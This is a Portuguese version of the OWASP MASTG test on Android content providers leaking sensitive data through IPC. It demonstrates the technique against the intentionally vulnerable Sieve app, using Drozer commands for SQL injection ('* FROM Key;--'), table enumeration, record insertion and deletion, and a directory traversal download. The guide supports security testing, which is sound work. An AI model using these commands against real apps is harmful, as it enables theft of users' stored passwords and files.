MASTG-TEST-0007: Determinando se Dados Sensíveis Armazenados Foram Expostos via Mecanismos IPC
Visão Geral¶
Análise Estática¶
O primeiro passo é examinar o AndroidManifest.xml para detectar provedores de conteúdo expostos pelo aplicativo. Você pode identificar provedores de conteúdo pelo elemento <provider>. Complete as seguintes etapas:
- Determine se o valor da tag de exportação (
android:exported) é"true". Mesmo que não seja, a tag será definida automaticamente como"true"se um<intent-filter>tiver sido definido para a tag. Se o conteúdo deve ser acessado apenas pelo próprio aplicativo, definaandroid:exportedcomo"false". Caso contrário, defina a flag como"true"e defina permissões adequadas de leitura/gravação. - Determine se os dados estão sendo protegidos por uma tag de permissão (
android:permission). Tags de permissão limitam a exposição a outros aplicativos. - Determine se o atributo
android:protectionLeveltem o valorsignature. Essa configuração indica que os dados são destinados a serem acessados apenas por aplicativos da mesma empresa (ou seja, assinados com a mesma chave). Para tornar os dados acessíveis a outros aplicativos, aplique uma política de segurança com o elemento<permission>e defina umandroid:protectionLeveladequado. Se você usarandroid:permission, outros aplicativos devem declarar elementos<uses-permission>correspondentes em seus manifests para interagir com seu provedor de conteúdo. Você pode usar o atributoandroid:grantUriPermissionspara conceder acesso mais específico a outros aplicativos; é possível limitar o acesso com o elemento<grant-uri-permission>.
Inspecione o código-fonte para entender como o provedor de conteúdo deve ser usado. Procure pelas seguintes palavras-chave:
android.content.ContentProviderandroid.database.Cursorandroid.database.sqlite.query.update.delete
Para evitar ataques de injeção de SQL dentro do aplicativo, use métodos de consulta parametrizados, como
query,updateedelete. Certifique-se de sanitizar adequadamente todos os argumentos do método; por exemplo, o argumentoselectionpode levar à injeção de SQL se for composto por entradas concatenadas do usuário.
Se você expuser um provedor de conteúdo, determine se os métodos de consulta parametrizados (query, update e delete) estão sendo usados para prevenir injeção de SQL. Se estiverem, verifique se todos os seus argumentos estão devidamente sanitizados.
Usaremos o aplicativo de gerenciamento de senhas vulnerável Sieve como exemplo de um provedor de conteúdo vulnerável.
Inspecionar o Android Manifest¶
Identifique todos os elementos <provider> definidos:
<provider
android:authorities="com.mwr.example.sieve.DBContentProvider"
android:exported="true"
android:multiprocess="true"
android:name=".DBContentProvider">
<path-permission
android:path="/Keys"
android:readPermission="com.mwr.example.sieve.READ_KEYS"
android:writePermission="com.mwr.example.sieve.WRITE_KEYS"
/>
</provider>
<provider
android:authorities="com.mwr.example.sieve.FileBackupProvider"
android:exported="true"
android:multiprocess="true"
android:name=".FileBackupProvider"
/>
Como mostrado no AndroidManifest.xml acima, o aplicativo exporta dois provedores de conteúdo. Observe que um caminho ("/Keys") está protegido por permissões de leitura e gravação.
Inspecionar o código-fonte¶
Inspecione a função query no arquivo DBContentProvider.java para determinar se alguma informação sensível está sendo vazada:
Exemplo em Java:
public Cursor query(final Uri uri, final String[] array, final String s, final String[] array2, final String s2) {
final int match = this.sUriMatcher.match(uri);
final SQLiteQueryBuilder sqLiteQueryBuilder = new SQLiteQueryBuilder();
if (match >= 100 && match < 200) {
sqLiteQueryBuilder.setTables("Passwords");
}
else if (match >= 200) {
sqLiteQueryBuilder.setTables("Key");
}
return sqLiteQueryBuilder.query(this.pwdb.getReadableDatabase(), array, s, array2, (String)null, (String)null, s2);
}
Exemplo em Kotlin:
fun query(uri: Uri?, array: Array<String?>?, s: String?, array2: Array<String?>?, s2: String?): Cursor {
val match: Int = this.sUriMatcher.match(uri)
val sqLiteQueryBuilder = SQLiteQueryBuilder()
if (match >= 100 && match < 200) {
sqLiteQueryBuilder.tables = "Passwords"
} else if (match >= 200) {
sqLiteQueryBuilder.tables = "Key"
}
return sqLiteQueryBuilder.query(this.pwdb.getReadableDatabase(), array, s, array2, null as String?, null as String?, s2)
}
Aqui vemos que na verdade existem dois caminhos, "/Keys" e "/Passwords", e o último não está sendo protegido no manifesto e, portanto, é vulnerável.
Ao acessar um URI, a instrução de consulta retorna todas as senhas e o caminho Passwords/. Abordaremos isso na seção "Análise Dinâmica" e mostraremos o URI exato necessário.
Análise Dinâmica¶
Testando Provedores de Conteúdo¶
Para analisar dinamicamente os provedores de conteúdo de um aplicativo, primeiro enumere a superfície de ataque: passe o nome do pacote do aplicativo para o módulo Drozer app.provider.info:
dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Neste exemplo, dois provedores de conteúdo são exportados. Ambos podem ser acessados sem permissão, exceto pelo caminho /Keys no DBContentProvider. Com essas informações, você pode reconstruir parte dos URIs de conteúdo para acessar o DBContentProvider (os URIs começam com content://).
Para identificar URIs de provedores de conteúdo dentro do aplicativo, use o módulo scanner.provider.finduris do Drozer. Este módulo adivinha caminhos e determina URIs de conteúdo acessíveis de várias maneiras:
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Uma vez que você tem uma lista de provedores de conteúdo acessíveis, tente extrair dados de cada provedor com o módulo app.provider.query:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w== (Base64 - encoded)
email: incognitoguy50@gmail.com
Você também pode usar o Drozer para inserir, atualizar e excluir registros de um provedor de conteúdo vulnerável:
- Inserir registro
dz> run app.provider.insert content://com.vulnerable.im/messages
--string date 1331763850325
--string type 0
--integer _id 7
- Atualizar registro
dz> run app.provider.update content://settings/secure
--selection "name=?"
--selection-args assisted_gps_enabled
--integer value 0
- Excluir registro
dz> run app.provider.delete content://settings/secure
--selection "name=?"
--selection-args my_setting
Injeção de SQL em Provedores de Conteúdo¶
A plataforma Android promove bancos de dados SQLite para armazenar dados do usuário. Como esses bancos de dados são baseados em SQL, eles podem ser vulneráveis à injeção de SQL. Você pode usar o módulo Drozer app.provider.query para testar injeção de SQL manipulando os campos de projeção e seleção que são passados para o provedor de conteúdo:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
unrecognized token: "' FROM Passwords" (code 1): , while compiling: SELECT ' FROM Passwords
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
Se um aplicativo for vulnerável à injeção de SQL, ele retornará uma mensagem de erro detalhada. A injeção de SQL no Android pode ser usada para modificar ou consultar dados do provedor de conteúdo vulnerável. No exemplo a seguir, o módulo Drozer app.provider.query é usado para listar todas as tabelas do banco de dados:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type | name | tbl_name | rootpage | sql |
| table | android_metadata | android_metadata | 3 | CREATE TABLE ... |
| table | Passwords | Passwords | 4 | CREATE TABLE ... |
| table | Key | Key | 5 | CREATE TABLE ... |
A injeção de SQL também pode ser usada para recuperar dados de tabelas que de outra forma estariam protegidas:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
| Password | pin |
| thisismypassword | 9876 |
Você pode automatizar essas etapas com o módulo scanner.provider.injection, que encontra automaticamente provedores de conteúdo vulneráveis em um aplicativo:
dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Provedores de Conteúdo Baseados em Sistema de Arquivos¶
Provedores de conteúdo podem fornecer acesso ao sistema de arquivos subjacente. Isso permite que aplicativos compartilhem arquivos (o sandbox do Android normalmente impede isso). Você pode usar os módulos Drozer app.provider.read e app.provider.download para ler e baixar arquivos, respectivamente, de provedores de conteúdo baseados em arquivos exportados. Esses provedores de conteúdo são suscetíveis a directory traversal, o que permite que arquivos protegidos no sandbox do aplicativo alvo sejam lidos.
dz> run app.provider.download content://com.vulnerable.app.FileProvider/../../../../../../../../data/data/com.vulnerable.app/database.db /home/user/database.db
Written 24488 bytes
Use o módulo scanner.provider.traversal para automatizar o processo de encontrar provedores de conteúdo suscetíveis a directory traversal:
dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider
Observe que o adb também pode ser usado para consultar provedores de conteúdo:
$ adb shell content query --uri content://com.owaspomtg.vulnapp.provider.CredentialProvider/credentials
Row: 0 id=1, username=admin, password=StrongPwd
Row: 1 id=2, username=test, password=test
...